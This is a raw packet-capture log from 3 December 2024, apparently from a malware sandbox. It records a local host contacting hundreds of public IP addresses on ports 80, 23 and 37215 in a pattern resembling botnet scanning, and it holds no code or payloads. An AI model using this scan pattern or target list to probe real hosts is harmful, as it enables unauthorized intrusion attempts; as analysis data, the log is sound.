                                                          Dec 3, 2024 23:16:42.748970032 CET4059680192.168.2.239.101.83.87
                                                          Dec 3, 2024 23:16:42.748971939 CET804059642.146.156.49192.168.2.23
                                                          Dec 3, 2024 23:16:42.748980045 CET4060223192.168.2.238.235.175.135
                                                          Dec 3, 2024 23:16:42.748981953 CET804059696.237.62.199192.168.2.23
                                                          Dec 3, 2024 23:16:42.748986959 CET4060223192.168.2.2363.223.118.92
                                                          Dec 3, 2024 23:16:42.748989105 CET4059680192.168.2.23113.96.71.207
                                                          Dec 3, 2024 23:16:42.748991966 CET8040596171.35.34.181192.168.2.23
                                                          Dec 3, 2024 23:16:42.749001980 CET8040596194.217.89.195192.168.2.23
                                                          Dec 3, 2024 23:16:42.749011993 CET234060281.58.215.57192.168.2.23
                                                          Dec 3, 2024 23:16:42.749017954 CET4059680192.168.2.2396.237.62.199
                                                          Dec 3, 2024 23:16:42.749017954 CET4059680192.168.2.23171.35.34.181
                                                          Dec 3, 2024 23:16:42.749020100 CET4059680192.168.2.2342.146.156.49
                                                          Dec 3, 2024 23:16:42.749022007 CET804059660.12.242.175192.168.2.23
                                                          Dec 3, 2024 23:16:42.749039888 CET2340602193.204.54.24192.168.2.23
                                                          Dec 3, 2024 23:16:42.749043941 CET4059680192.168.2.23194.217.89.195
                                                          Dec 3, 2024 23:16:42.749043941 CET4060223192.168.2.2381.58.215.57
                                                          Dec 3, 2024 23:16:42.749049902 CET2340602202.76.51.207192.168.2.23
                                                          Dec 3, 2024 23:16:42.749056101 CET4059680192.168.2.2360.12.242.175
                                                          Dec 3, 2024 23:16:42.749080896 CET4060223192.168.2.23193.204.54.24
                                                          Dec 3, 2024 23:16:42.749083996 CET4060223192.168.2.23202.76.51.207
                                                          Dec 3, 2024 23:16:42.749510050 CET2340602146.246.133.50192.168.2.23
                                                          Dec 3, 2024 23:16:42.749552965 CET4060223192.168.2.23146.246.133.50
                                                          Dec 3, 2024 23:16:42.749577045 CET8040596154.36.154.96192.168.2.23
                                                          Dec 3, 2024 23:16:42.749598026 CET8040596141.148.27.185192.168.2.23
                                                          Dec 3, 2024 23:16:42.749609947 CET804059658.170.189.178192.168.2.23
                                                          Dec 3, 2024 23:16:42.749622107 CET4059680192.168.2.23154.36.154.96
                                                          Dec 3, 2024 23:16:42.749629021 CET234060264.81.27.187192.168.2.23
                                                          Dec 3, 2024 23:16:42.749639988 CET2340602142.26.194.117192.168.2.23
                                                          Dec 3, 2024 23:16:42.749646902 CET4059680192.168.2.2358.170.189.178
                                                          Dec 3, 2024 23:16:42.749648094 CET4059680192.168.2.23141.148.27.185
                                                          Dec 3, 2024 23:16:42.749649048 CET804059696.110.67.145192.168.2.23
                                                          Dec 3, 2024 23:16:42.749659061 CET804059661.47.159.38192.168.2.23
                                                          Dec 3, 2024 23:16:42.749665976 CET4060223192.168.2.2364.81.27.187
                                                          Dec 3, 2024 23:16:42.749676943 CET2340602155.240.7.223192.168.2.23
                                                          Dec 3, 2024 23:16:42.749689102 CET8040596105.137.185.215192.168.2.23
                                                          Dec 3, 2024 23:16:42.749700069 CET4059680192.168.2.2361.47.159.38
                                                          Dec 3, 2024 23:16:42.749700069 CET8040596120.152.210.127192.168.2.23
                                                          Dec 3, 2024 23:16:42.749711990 CET4060223192.168.2.23142.26.194.117
                                                          Dec 3, 2024 23:16:42.749711990 CET4059680192.168.2.2396.110.67.145
                                                          Dec 3, 2024 23:16:42.749711990 CET4060223192.168.2.23155.240.7.223
                                                          Dec 3, 2024 23:16:42.749716043 CET2340602159.2.208.55192.168.2.23
                                                          Dec 3, 2024 23:16:42.749711990 CET4059680192.168.2.23105.137.185.215
                                                          Dec 3, 2024 23:16:42.749736071 CET4059680192.168.2.23120.152.210.127
                                                          Dec 3, 2024 23:16:42.749738932 CET2340602196.197.42.117192.168.2.23
                                                          Dec 3, 2024 23:16:42.749749899 CET2340602153.207.90.177192.168.2.23
                                                          Dec 3, 2024 23:16:42.749751091 CET4060223192.168.2.23159.2.208.55
                                                          Dec 3, 2024 23:16:42.749761105 CET8040596109.113.244.12192.168.2.23
                                                          Dec 3, 2024 23:16:42.749778986 CET2340602182.162.189.183192.168.2.23
                                                          Dec 3, 2024 23:16:42.749779940 CET4060223192.168.2.23196.197.42.117
                                                          Dec 3, 2024 23:16:42.749782085 CET4060223192.168.2.23153.207.90.177
                                                          Dec 3, 2024 23:16:42.749789000 CET804059635.204.75.208192.168.2.23
                                                          Dec 3, 2024 23:16:42.749794006 CET4059680192.168.2.23109.113.244.12
                                                          Dec 3, 2024 23:16:42.749800920 CET2340602108.87.28.232192.168.2.23
                                                          Dec 3, 2024 23:16:42.749818087 CET4060223192.168.2.23182.162.189.183
                                                          Dec 3, 2024 23:16:42.749821901 CET4059680192.168.2.2335.204.75.208
                                                          Dec 3, 2024 23:16:42.749833107 CET4060223192.168.2.23108.87.28.232
                                                          Dec 3, 2024 23:16:42.749979973 CET234060224.62.6.21192.168.2.23
                                                          Dec 3, 2024 23:16:42.749990940 CET234060297.171.169.171192.168.2.23
                                                          Dec 3, 2024 23:16:42.750000000 CET8040596128.137.84.103192.168.2.23
                                                          Dec 3, 2024 23:16:42.750010014 CET234060225.78.29.235192.168.2.23
                                                          Dec 3, 2024 23:16:42.750019073 CET8040596202.233.229.94192.168.2.23
                                                          Dec 3, 2024 23:16:42.750021935 CET4060223192.168.2.2324.62.6.21
                                                          Dec 3, 2024 23:16:42.750022888 CET4060223192.168.2.2397.171.169.171
                                                          Dec 3, 2024 23:16:42.750031948 CET2340602103.41.27.57192.168.2.23
                                                          Dec 3, 2024 23:16:42.750041008 CET4059680192.168.2.23128.137.84.103
                                                          Dec 3, 2024 23:16:42.750041962 CET2340602213.120.174.125192.168.2.23
                                                          Dec 3, 2024 23:16:42.750042915 CET4060223192.168.2.2325.78.29.235
                                                          Dec 3, 2024 23:16:42.750050068 CET4059680192.168.2.23202.233.229.94
                                                          Dec 3, 2024 23:16:42.750053883 CET2340602139.248.67.156192.168.2.23
                                                          Dec 3, 2024 23:16:42.750062943 CET4060223192.168.2.23103.41.27.57
                                                          Dec 3, 2024 23:16:42.750063896 CET2340602187.130.7.240192.168.2.23
                                                          Dec 3, 2024 23:16:42.750076056 CET8040596198.3.18.170192.168.2.23
                                                          Dec 3, 2024 23:16:42.750088930 CET4060223192.168.2.23139.248.67.156
                                                          Dec 3, 2024 23:16:42.750098944 CET4060223192.168.2.23213.120.174.125
                                                          Dec 3, 2024 23:16:42.750098944 CET4059680192.168.2.23198.3.18.170
                                                          Dec 3, 2024 23:16:42.750104904 CET4060223192.168.2.23187.130.7.240
                                                          Dec 3, 2024 23:16:42.750489950 CET2340602149.107.6.203192.168.2.23
                                                          Dec 3, 2024 23:16:42.750500917 CET8040596141.56.177.162192.168.2.23
                                                          Dec 3, 2024 23:16:42.750514030 CET2340602123.167.131.95192.168.2.23
                                                          Dec 3, 2024 23:16:42.750524998 CET2340602209.26.197.58192.168.2.23
                                                          Dec 3, 2024 23:16:42.750533104 CET4059680192.168.2.23141.56.177.162
                                                          Dec 3, 2024 23:16:42.750535965 CET234060238.231.161.103192.168.2.23
                                                          Dec 3, 2024 23:16:42.750541925 CET4060223192.168.2.23149.107.6.203
                                                          Dec 3, 2024 23:16:42.750547886 CET2340602161.33.129.219192.168.2.23
                                                          Dec 3, 2024 23:16:42.750551939 CET4060223192.168.2.23209.26.197.58
                                                          Dec 3, 2024 23:16:42.750552893 CET4060223192.168.2.23123.167.131.95
                                                          Dec 3, 2024 23:16:42.750557899 CET8040596114.57.3.254192.168.2.23
                                                          Dec 3, 2024 23:16:42.750569105 CET8040596138.92.41.78192.168.2.23
                                                          Dec 3, 2024 23:16:42.750576973 CET4060223192.168.2.2338.231.161.103
                                                          Dec 3, 2024 23:16:42.750577927 CET234060283.56.110.243192.168.2.23
                                                          Dec 3, 2024 23:16:42.750583887 CET2340602149.233.122.202192.168.2.23
                                                          Dec 3, 2024 23:16:42.750591993 CET234060265.127.14.237192.168.2.23
                                                          Dec 3, 2024 23:16:42.750597000 CET4059680192.168.2.23114.57.3.254
                                                          Dec 3, 2024 23:16:42.750598907 CET4060223192.168.2.23161.33.129.219
                                                          Dec 3, 2024 23:16:42.750612020 CET4060223192.168.2.2383.56.110.243
                                                          Dec 3, 2024 23:16:42.750612974 CET4060223192.168.2.23149.233.122.202
                                                          Dec 3, 2024 23:16:42.750612974 CET4059680192.168.2.23138.92.41.78
                                                          Dec 3, 2024 23:16:42.750617027 CET2340602101.194.154.32192.168.2.23
                                                          Dec 3, 2024 23:16:42.750619888 CET4060223192.168.2.2365.127.14.237
                                                          Dec 3, 2024 23:16:42.750627995 CET234060225.13.110.24192.168.2.23
                                                          Dec 3, 2024 23:16:42.750638008 CET2340602170.19.105.210192.168.2.23
                                                          Dec 3, 2024 23:16:42.750648022 CET234060237.194.114.94192.168.2.23
                                                          Dec 3, 2024 23:16:42.750655890 CET2340602195.85.242.83192.168.2.23
                                                          Dec 3, 2024 23:16:42.750657082 CET4060223192.168.2.23101.194.154.32
                                                          Dec 3, 2024 23:16:42.750658035 CET4060223192.168.2.2325.13.110.24
                                                          Dec 3, 2024 23:16:42.750667095 CET2340602188.187.8.188192.168.2.23
                                                          Dec 3, 2024 23:16:42.750673056 CET4060223192.168.2.23170.19.105.210
                                                          Dec 3, 2024 23:16:42.750674009 CET4060223192.168.2.2337.194.114.94
                                                          Dec 3, 2024 23:16:42.750679016 CET234060286.87.93.162192.168.2.23
                                                          Dec 3, 2024 23:16:42.750689983 CET2340602146.71.3.31192.168.2.23
                                                          Dec 3, 2024 23:16:42.750699997 CET2340602164.1.10.130192.168.2.23
                                                          Dec 3, 2024 23:16:42.750710011 CET2340602116.208.199.178192.168.2.23
                                                          Dec 3, 2024 23:16:42.750710964 CET4060223192.168.2.2386.87.93.162
                                                          Dec 3, 2024 23:16:42.750720024 CET234060249.213.165.252192.168.2.23
                                                          Dec 3, 2024 23:16:42.750722885 CET4060223192.168.2.23195.85.242.83
                                                          Dec 3, 2024 23:16:42.750724077 CET4060223192.168.2.23188.187.8.188
                                                          Dec 3, 2024 23:16:42.750725031 CET4060223192.168.2.23146.71.3.31
                                                          Dec 3, 2024 23:16:42.750730991 CET234060267.202.22.74192.168.2.23
                                                          Dec 3, 2024 23:16:42.750735044 CET4060223192.168.2.23164.1.10.130
                                                          Dec 3, 2024 23:16:42.750741005 CET4060223192.168.2.23116.208.199.178
                                                          Dec 3, 2024 23:16:42.750741959 CET2340602211.161.41.29192.168.2.23
                                                          Dec 3, 2024 23:16:42.750747919 CET4060223192.168.2.2349.213.165.252
                                                          Dec 3, 2024 23:16:42.750751019 CET2340602217.163.195.135192.168.2.23
                                                          Dec 3, 2024 23:16:42.750761032 CET4060223192.168.2.2367.202.22.74
                                                          Dec 3, 2024 23:16:42.750765085 CET2340602220.142.232.22192.168.2.23
                                                          Dec 3, 2024 23:16:42.750776052 CET2340602140.72.198.48192.168.2.23
                                                          Dec 3, 2024 23:16:42.750776052 CET4060223192.168.2.23211.161.41.29
                                                          Dec 3, 2024 23:16:42.750785112 CET234060238.187.34.19192.168.2.23
                                                          Dec 3, 2024 23:16:42.750793934 CET4060223192.168.2.23217.163.195.135
                                                          Dec 3, 2024 23:16:42.750797033 CET4060223192.168.2.23220.142.232.22
                                                          Dec 3, 2024 23:16:42.750807047 CET4060223192.168.2.23140.72.198.48
                                                          Dec 3, 2024 23:16:42.750807047 CET4060223192.168.2.2338.187.34.19
                                                          Dec 3, 2024 23:16:42.751272917 CET2340602189.173.31.190192.168.2.23
                                                          Dec 3, 2024 23:16:42.751281977 CET2340602139.201.164.96192.168.2.23
                                                          Dec 3, 2024 23:16:42.751291037 CET2340602191.111.220.1192.168.2.23
                                                          Dec 3, 2024 23:16:42.751295090 CET23406025.51.111.15192.168.2.23
                                                          Dec 3, 2024 23:16:42.751302958 CET2340602133.58.97.237192.168.2.23
                                                          Dec 3, 2024 23:16:42.751317024 CET2340602145.224.169.34192.168.2.23
                                                          Dec 3, 2024 23:16:42.751326084 CET4060223192.168.2.23139.201.164.96
                                                          Dec 3, 2024 23:16:42.751326084 CET4060223192.168.2.23189.173.31.190
                                                          Dec 3, 2024 23:16:42.751327038 CET2340602167.219.68.25192.168.2.23
                                                          Dec 3, 2024 23:16:42.751332998 CET4060223192.168.2.23191.111.220.1
                                                          Dec 3, 2024 23:16:42.751332998 CET4060223192.168.2.235.51.111.15
                                                          Dec 3, 2024 23:16:42.751337051 CET234060224.154.224.148192.168.2.23
                                                          Dec 3, 2024 23:16:42.751338005 CET4060223192.168.2.23133.58.97.237
                                                          Dec 3, 2024 23:16:42.751347065 CET234060298.162.139.172192.168.2.23
                                                          Dec 3, 2024 23:16:42.751355886 CET234060278.52.150.212192.168.2.23
                                                          Dec 3, 2024 23:16:42.751363993 CET2340602154.163.203.71192.168.2.23
                                                          Dec 3, 2024 23:16:42.751373053 CET234060264.38.255.46192.168.2.23
                                                          Dec 3, 2024 23:16:42.751379967 CET234060270.69.160.175192.168.2.23
                                                          Dec 3, 2024 23:16:42.751389980 CET2340602152.167.69.15192.168.2.23
                                                          Dec 3, 2024 23:16:42.751398087 CET2340602207.70.190.236192.168.2.23
                                                          Dec 3, 2024 23:16:42.751399040 CET4060223192.168.2.2324.154.224.148
                                                          Dec 3, 2024 23:16:42.751409054 CET234060273.29.184.71192.168.2.23
                                                          Dec 3, 2024 23:16:42.751411915 CET4060223192.168.2.23154.163.203.71
                                                          Dec 3, 2024 23:16:42.751415968 CET4060223192.168.2.23167.219.68.25
                                                          Dec 3, 2024 23:16:42.751415968 CET4060223192.168.2.2364.38.255.46
                                                          Dec 3, 2024 23:16:42.751415968 CET4060223192.168.2.2398.162.139.172
                                                          Dec 3, 2024 23:16:42.751418114 CET2340602201.11.203.161192.168.2.23
                                                          Dec 3, 2024 23:16:42.751420021 CET4060223192.168.2.23152.167.69.15
                                                          Dec 3, 2024 23:16:42.751425982 CET4060223192.168.2.2370.69.160.175
                                                          Dec 3, 2024 23:16:42.751431942 CET234060269.60.255.122192.168.2.23
                                                          Dec 3, 2024 23:16:42.751447916 CET2340602119.82.192.175192.168.2.23
                                                          Dec 3, 2024 23:16:42.751450062 CET4060223192.168.2.23201.11.203.161
                                                          Dec 3, 2024 23:16:42.751451015 CET4060223192.168.2.23145.224.169.34
                                                          Dec 3, 2024 23:16:42.751451015 CET4060223192.168.2.2378.52.150.212
                                                          Dec 3, 2024 23:16:42.751452923 CET4060223192.168.2.2373.29.184.71
                                                          Dec 3, 2024 23:16:42.751456022 CET2340602221.167.154.122192.168.2.23
                                                          Dec 3, 2024 23:16:42.751456022 CET4060223192.168.2.23207.70.190.236
                                                          Dec 3, 2024 23:16:42.751465082 CET234060253.20.55.62192.168.2.23
                                                          Dec 3, 2024 23:16:42.751471996 CET4060223192.168.2.2369.60.255.122
                                                          Dec 3, 2024 23:16:42.751476049 CET2340602142.193.161.188192.168.2.23
                                                          Dec 3, 2024 23:16:42.751481056 CET4060223192.168.2.23119.82.192.175
                                                          Dec 3, 2024 23:16:42.751486063 CET234060237.114.184.149192.168.2.23
                                                          Dec 3, 2024 23:16:42.751492023 CET4060223192.168.2.2353.20.55.62
                                                          Dec 3, 2024 23:16:42.751493931 CET4060223192.168.2.23221.167.154.122
                                                          Dec 3, 2024 23:16:42.751494884 CET2340602158.128.64.43192.168.2.23
                                                          Dec 3, 2024 23:16:42.751503944 CET2340602104.96.247.38192.168.2.23
                                                          Dec 3, 2024 23:16:42.751513004 CET2340602173.191.232.2192.168.2.23
                                                          Dec 3, 2024 23:16:42.751513958 CET4060223192.168.2.23142.193.161.188
                                                          Dec 3, 2024 23:16:42.751514912 CET4060223192.168.2.2337.114.184.149
                                                          Dec 3, 2024 23:16:42.751521111 CET2340602196.32.209.175192.168.2.23
                                                          Dec 3, 2024 23:16:42.751523018 CET4060223192.168.2.23158.128.64.43
                                                          Dec 3, 2024 23:16:42.751529932 CET2340602161.21.210.116192.168.2.23
                                                          Dec 3, 2024 23:16:42.751543045 CET4060223192.168.2.23173.191.232.2
                                                          Dec 3, 2024 23:16:42.751586914 CET4060223192.168.2.23104.96.247.38
                                                          Dec 3, 2024 23:16:42.751596928 CET4060223192.168.2.23196.32.209.175
                                                          Dec 3, 2024 23:16:42.751600981 CET4060223192.168.2.23161.21.210.116
                                                          Dec 3, 2024 23:16:42.752106905 CET2340602185.41.144.222192.168.2.23
                                                          Dec 3, 2024 23:16:42.752115965 CET2340602132.84.85.167192.168.2.23
                                                          Dec 3, 2024 23:16:42.752124071 CET2340602141.250.161.87192.168.2.23
                                                          Dec 3, 2024 23:16:42.752132893 CET234060292.157.224.15192.168.2.23
                                                          Dec 3, 2024 23:16:42.752141953 CET2340602108.10.103.188192.168.2.23
                                                          Dec 3, 2024 23:16:42.752149105 CET4060223192.168.2.23185.41.144.222
                                                          Dec 3, 2024 23:16:42.752149105 CET4060223192.168.2.23141.250.161.87
                                                          Dec 3, 2024 23:16:42.752151012 CET234060267.30.184.194192.168.2.23
                                                          Dec 3, 2024 23:16:42.752151966 CET4060223192.168.2.23132.84.85.167
                                                          Dec 3, 2024 23:16:42.752151966 CET4060223192.168.2.2392.157.224.15
                                                          Dec 3, 2024 23:16:42.752161026 CET2340602106.196.92.80192.168.2.23
                                                          Dec 3, 2024 23:16:42.752168894 CET234060294.71.218.241192.168.2.23
                                                          Dec 3, 2024 23:16:42.752177000 CET234060224.152.190.10192.168.2.23
                                                          Dec 3, 2024 23:16:42.752180099 CET4060223192.168.2.23108.10.103.188
                                                          Dec 3, 2024 23:16:42.752185106 CET2340602219.12.39.11192.168.2.23
                                                          Dec 3, 2024 23:16:42.752192974 CET2340602188.229.37.74192.168.2.23
                                                          Dec 3, 2024 23:16:42.752203941 CET4060223192.168.2.23106.196.92.80
                                                          Dec 3, 2024 23:16:42.752212048 CET4060223192.168.2.2367.30.184.194
                                                          Dec 3, 2024 23:16:42.752213001 CET4060223192.168.2.2324.152.190.10
                                                          Dec 3, 2024 23:16:42.752212048 CET4060223192.168.2.2394.71.218.241
                                                          Dec 3, 2024 23:16:42.752219915 CET4060223192.168.2.23219.12.39.11
                                                          Dec 3, 2024 23:16:42.752234936 CET4060223192.168.2.23188.229.37.74
                                                          Dec 3, 2024 23:16:42.752250910 CET2340602148.47.51.156192.168.2.23
                                                          Dec 3, 2024 23:16:42.752260923 CET2340602135.38.78.26192.168.2.23
                                                          Dec 3, 2024 23:16:42.752268076 CET2340602114.155.30.200192.168.2.23
                                                          Dec 3, 2024 23:16:42.752278090 CET2340602136.17.132.85192.168.2.23
                                                          Dec 3, 2024 23:16:42.752285957 CET4060223192.168.2.23135.38.78.26
                                                          Dec 3, 2024 23:16:42.752286911 CET2340602196.225.55.223192.168.2.23
                                                          Dec 3, 2024 23:16:42.752290010 CET4060223192.168.2.23148.47.51.156
                                                          Dec 3, 2024 23:16:42.752296925 CET2340602102.144.121.178192.168.2.23
                                                          Dec 3, 2024 23:16:42.752300024 CET4060223192.168.2.23114.155.30.200
                                                          Dec 3, 2024 23:16:42.752305984 CET2340602218.37.126.140192.168.2.23
                                                          Dec 3, 2024 23:16:42.752309084 CET4060223192.168.2.23136.17.132.85
                                                          Dec 3, 2024 23:16:42.752314091 CET4060223192.168.2.23196.225.55.223
                                                          Dec 3, 2024 23:16:42.752315044 CET2340602193.90.255.45192.168.2.23
                                                          Dec 3, 2024 23:16:42.752326012 CET234060236.96.217.13192.168.2.23
                                                          Dec 3, 2024 23:16:42.752335072 CET4060223192.168.2.23102.144.121.178
                                                          Dec 3, 2024 23:16:42.752335072 CET2340602163.219.61.162192.168.2.23
                                                          Dec 3, 2024 23:16:42.752342939 CET4060223192.168.2.23218.37.126.140
                                                          Dec 3, 2024 23:16:42.752345085 CET234060257.23.170.41192.168.2.23
                                                          Dec 3, 2024 23:16:42.752357960 CET4060223192.168.2.2336.96.217.13
                                                          Dec 3, 2024 23:16:42.752358913 CET4060223192.168.2.23193.90.255.45
                                                          Dec 3, 2024 23:16:42.752362013 CET4060223192.168.2.23163.219.61.162
                                                          Dec 3, 2024 23:16:42.752377033 CET4060223192.168.2.2357.23.170.41
                                                          Dec 3, 2024 23:16:42.752732038 CET234060287.38.66.33192.168.2.23
                                                          Dec 3, 2024 23:16:42.752741098 CET234060258.204.161.167192.168.2.23
                                                          Dec 3, 2024 23:16:42.752748966 CET2340602148.26.52.90192.168.2.23
                                                          Dec 3, 2024 23:16:42.752758026 CET234060220.127.111.33192.168.2.23
                                                          Dec 3, 2024 23:16:42.752765894 CET234060231.128.8.57192.168.2.23
                                                          Dec 3, 2024 23:16:42.752770901 CET4060223192.168.2.2387.38.66.33
                                                          Dec 3, 2024 23:16:42.752774000 CET4060223192.168.2.2358.204.161.167
                                                          Dec 3, 2024 23:16:42.752774954 CET2340602145.40.146.102192.168.2.23
                                                          Dec 3, 2024 23:16:42.752789021 CET4060223192.168.2.23148.26.52.90
                                                          Dec 3, 2024 23:16:42.752789021 CET4060223192.168.2.2320.127.111.33
                                                          Dec 3, 2024 23:16:42.752796888 CET4060223192.168.2.2331.128.8.57
                                                          Dec 3, 2024 23:16:42.752801895 CET4060223192.168.2.23145.40.146.102
                                                          Dec 3, 2024 23:16:42.752867937 CET234060223.21.167.37192.168.2.23
                                                          Dec 3, 2024 23:16:42.752902985 CET4060223192.168.2.2323.21.167.37
                                                          Dec 3, 2024 23:16:42.752914906 CET2340602147.229.49.77192.168.2.23
                                                          Dec 3, 2024 23:16:42.752923965 CET2340602146.100.147.177192.168.2.23
                                                          Dec 3, 2024 23:16:42.752933025 CET2340602184.165.38.253192.168.2.23
                                                          Dec 3, 2024 23:16:42.752948046 CET234060284.170.180.94192.168.2.23
                                                          Dec 3, 2024 23:16:42.752953053 CET4060223192.168.2.23147.229.49.77
                                                          Dec 3, 2024 23:16:42.752958059 CET4060223192.168.2.23146.100.147.177
                                                          Dec 3, 2024 23:16:42.752959013 CET2340602181.155.96.198192.168.2.23
                                                          Dec 3, 2024 23:16:42.752960920 CET4060223192.168.2.23184.165.38.253
                                                          Dec 3, 2024 23:16:42.752976894 CET2340602136.154.92.38192.168.2.23
                                                          Dec 3, 2024 23:16:42.752986908 CET4060223192.168.2.2384.170.180.94
                                                          Dec 3, 2024 23:16:42.752988100 CET4060223192.168.2.23181.155.96.198
                                                          Dec 3, 2024 23:16:42.752999067 CET3721540597197.18.155.116192.168.2.23
                                                          Dec 3, 2024 23:16:42.753012896 CET4060223192.168.2.23136.154.92.38
                                                          Dec 3, 2024 23:16:42.753012896 CET3721540597197.79.128.116192.168.2.23
                                                          Dec 3, 2024 23:16:42.753031015 CET3721540597156.54.232.183192.168.2.23
                                                          Dec 3, 2024 23:16:42.753037930 CET4059737215192.168.2.23197.18.155.116
                                                          Dec 3, 2024 23:16:42.753051996 CET3721540597197.31.107.113192.168.2.23
                                                          Dec 3, 2024 23:16:42.753053904 CET4059737215192.168.2.23197.79.128.116
                                                          Dec 3, 2024 23:16:42.753061056 CET372154059741.168.11.232192.168.2.23
                                                          Dec 3, 2024 23:16:42.753062963 CET4059737215192.168.2.23156.54.232.183
                                                          Dec 3, 2024 23:16:42.753070116 CET3721540597197.48.127.85192.168.2.23
                                                          Dec 3, 2024 23:16:42.753091097 CET4059737215192.168.2.23197.31.107.113
                                                          Dec 3, 2024 23:16:42.753091097 CET3721540597197.164.123.254192.168.2.23
                                                          Dec 3, 2024 23:16:42.753092051 CET4059737215192.168.2.2341.168.11.232
                                                          Dec 3, 2024 23:16:42.753092051 CET4059737215192.168.2.23197.48.127.85
                                                          Dec 3, 2024 23:16:42.753118992 CET3721540597156.191.143.159192.168.2.23
                                                          Dec 3, 2024 23:16:42.753128052 CET372154059741.211.156.48192.168.2.23
                                                          Dec 3, 2024 23:16:42.753134966 CET3721540597156.184.14.251192.168.2.23
                                                          Dec 3, 2024 23:16:42.753139019 CET4059737215192.168.2.23197.164.123.254
                                                          Dec 3, 2024 23:16:42.753160000 CET4059737215192.168.2.23156.191.143.159
                                                          Dec 3, 2024 23:16:42.753161907 CET4059737215192.168.2.2341.211.156.48
                                                          Dec 3, 2024 23:16:42.753170967 CET4059737215192.168.2.23156.184.14.251
                                                          Dec 3, 2024 23:16:42.753191948 CET3721540597197.169.147.15192.168.2.23
                                                          Dec 3, 2024 23:16:42.753205061 CET3721540597197.128.125.33192.168.2.23
                                                          Dec 3, 2024 23:16:42.753221035 CET372154059741.192.17.8192.168.2.23
                                                          Dec 3, 2024 23:16:42.753230095 CET4059737215192.168.2.23197.169.147.15
                                                          Dec 3, 2024 23:16:42.753235102 CET4059737215192.168.2.23197.128.125.33
                                                          Dec 3, 2024 23:16:42.753253937 CET4059737215192.168.2.2341.192.17.8
                                                          Dec 3, 2024 23:16:42.753283978 CET372154059741.152.3.228192.168.2.23
                                                          Dec 3, 2024 23:16:42.753293991 CET3721540597197.152.175.202192.168.2.23
                                                          Dec 3, 2024 23:16:42.753302097 CET3721540597197.47.210.184192.168.2.23
                                                          Dec 3, 2024 23:16:42.753318071 CET3721540597156.36.81.165192.168.2.23
                                                          Dec 3, 2024 23:16:42.753324986 CET3721540597156.76.131.235192.168.2.23
                                                          Dec 3, 2024 23:16:42.753334045 CET3721540597197.25.91.223192.168.2.23
                                                          Dec 3, 2024 23:16:42.753334045 CET4059737215192.168.2.23197.152.175.202
                                                          Dec 3, 2024 23:16:42.753335953 CET4059737215192.168.2.23197.47.210.184
                                                          Dec 3, 2024 23:16:42.753344059 CET4059737215192.168.2.23156.36.81.165
                                                          Dec 3, 2024 23:16:42.753353119 CET4059737215192.168.2.23156.76.131.235
                                                          Dec 3, 2024 23:16:42.753357887 CET4059737215192.168.2.2341.152.3.228
                                                          Dec 3, 2024 23:16:42.753360987 CET4059737215192.168.2.23197.25.91.223
                                                          Dec 3, 2024 23:16:42.753390074 CET3721540597197.187.198.221192.168.2.23
                                                          Dec 3, 2024 23:16:42.753426075 CET4059737215192.168.2.23197.187.198.221
                                                          Dec 3, 2024 23:16:42.753942013 CET372154059741.14.208.140192.168.2.23
                                                          Dec 3, 2024 23:16:42.753951073 CET372154059741.97.61.250192.168.2.23
                                                          Dec 3, 2024 23:16:42.753958941 CET3721540597156.158.228.141192.168.2.23
                                                          Dec 3, 2024 23:16:42.753968000 CET3721540597156.153.217.235192.168.2.23
                                                          Dec 3, 2024 23:16:42.753977060 CET372154059741.19.241.213192.168.2.23
                                                          Dec 3, 2024 23:16:42.753982067 CET4059737215192.168.2.2341.14.208.140
                                                          Dec 3, 2024 23:16:42.753985882 CET372154059741.84.156.184192.168.2.23
                                                          Dec 3, 2024 23:16:42.753995895 CET4059737215192.168.2.2341.97.61.250
                                                          Dec 3, 2024 23:16:42.753995895 CET4059737215192.168.2.23156.158.228.141
                                                          Dec 3, 2024 23:16:42.754009962 CET4059737215192.168.2.2341.19.241.213
                                                          Dec 3, 2024 23:16:42.754013062 CET3721540597197.161.124.14192.168.2.23
                                                          Dec 3, 2024 23:16:42.754013062 CET4059737215192.168.2.23156.153.217.235
                                                          Dec 3, 2024 23:16:42.754015923 CET4059737215192.168.2.2341.84.156.184
                                                          Dec 3, 2024 23:16:42.754024029 CET372154059741.236.76.238192.168.2.23
                                                          Dec 3, 2024 23:16:42.754033089 CET3721540597197.229.37.226192.168.2.23
                                                          Dec 3, 2024 23:16:42.754049063 CET3721540597197.114.182.254192.168.2.23
                                                          Dec 3, 2024 23:16:42.754050970 CET4059737215192.168.2.23197.161.124.14
                                                          Dec 3, 2024 23:16:42.754060030 CET4059737215192.168.2.2341.236.76.238
                                                          Dec 3, 2024 23:16:42.754066944 CET372154059741.127.179.202192.168.2.23
                                                          Dec 3, 2024 23:16:42.754072905 CET4059737215192.168.2.23197.229.37.226
                                                          Dec 3, 2024 23:16:42.754076004 CET3721540597156.30.191.164192.168.2.23
                                                          Dec 3, 2024 23:16:42.754092932 CET4059737215192.168.2.23197.114.182.254
                                                          Dec 3, 2024 23:16:42.754096031 CET3721540597156.97.148.215192.168.2.23
                                                          Dec 3, 2024 23:16:42.754106045 CET4059737215192.168.2.2341.127.179.202
                                                          Dec 3, 2024 23:16:42.754106045 CET3721540597156.116.77.118192.168.2.23
                                                          Dec 3, 2024 23:16:42.754108906 CET4059737215192.168.2.23156.30.191.164
                                                          Dec 3, 2024 23:16:42.754111052 CET372154059741.27.163.61192.168.2.23
                                                          Dec 3, 2024 23:16:42.754121065 CET3721540597156.77.254.108192.168.2.23
                                                          Dec 3, 2024 23:16:42.754128933 CET3721540597197.15.188.214192.168.2.23
                                                          Dec 3, 2024 23:16:42.754144907 CET4059737215192.168.2.2341.27.163.61
                                                          Dec 3, 2024 23:16:42.754146099 CET4059737215192.168.2.23156.97.148.215
                                                          Dec 3, 2024 23:16:42.754146099 CET4059737215192.168.2.23156.77.254.108
                                                          Dec 3, 2024 23:16:42.754148960 CET4059737215192.168.2.23156.116.77.118
                                                          Dec 3, 2024 23:16:42.754149914 CET3721540597197.253.84.255192.168.2.23
                                                          Dec 3, 2024 23:16:42.754164934 CET3721540597197.27.175.56192.168.2.23
                                                          Dec 3, 2024 23:16:42.754165888 CET4059737215192.168.2.23197.15.188.214
                                                          Dec 3, 2024 23:16:42.754175901 CET3721540597197.108.68.211192.168.2.23
                                                          Dec 3, 2024 23:16:42.754188061 CET3721540597156.61.0.112192.168.2.23
                                                          Dec 3, 2024 23:16:42.754188061 CET4059737215192.168.2.23197.253.84.255
                                                          Dec 3, 2024 23:16:42.754195929 CET3721540597156.117.26.43192.168.2.23
                                                          Dec 3, 2024 23:16:42.754200935 CET4059737215192.168.2.23197.27.175.56
                                                          Dec 3, 2024 23:16:42.754205942 CET3721540597156.157.134.204192.168.2.23
